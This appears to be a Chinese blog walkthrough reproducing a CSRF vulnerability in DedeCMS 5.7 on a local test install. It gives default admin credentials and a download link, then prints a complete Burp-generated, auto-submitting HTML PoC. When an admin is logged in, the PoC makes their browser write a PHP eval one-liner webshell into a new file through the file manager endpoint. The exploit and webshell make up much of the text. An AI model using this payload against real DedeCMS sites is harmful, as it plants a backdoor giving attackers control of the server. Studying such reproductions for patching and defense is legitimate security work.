DedeCMS织梦5.7--CSRF漏洞复现

dedecms前端底部存在【友情链接--申请加入】功能入口，提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验，可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接，当管理员在已登录状态下访问该链接，是否可能触发后台危险操作？

将5.7版本的dedecms部署到本地phpstudy的www目录下

我在网上找了好久的这个版本的dedecms，在这里分享出来，大家可以直接下载

通过网盘分享的文件：dedecms.zip

https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw

提取码: j2e6

默认后台登录路径：拼接dede，进入后台，可以直观地看到我们文件的操作

默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包，抓保存时的包，可以看到包中含有刚刚写入文件的木马

然后生成poc用于验证是否含有csrf

复制生成的HTML，在桌面新建一个.html文件，粘贴进去

复制代码

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
      <input type="hidden" name="fmdo" value="edit" />
      <input type="hidden" name="backurl" value="" />
      <input type="hidden" name="activepath" value="&#47;dedecms&#47;uploads&#47;uploads" />
      <input type="hidden" name="filename" value="222&#46;php" />
      <input type="hidden" name="str" value="&lt;&#63;php&#32;&#64;eval&#40;&#36;&#95;REQUEST&#91;'123'&#93;&#41;&#59;&#63;&gt;" />
      <input type="hidden" name="B1" value="&#32;&#32;ä&#191;&#157;&#32;å&#173;&#152;&#32;&#32;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

将这里文件名改为222，便于和我们新建文件时上传的muma.php文件进行区分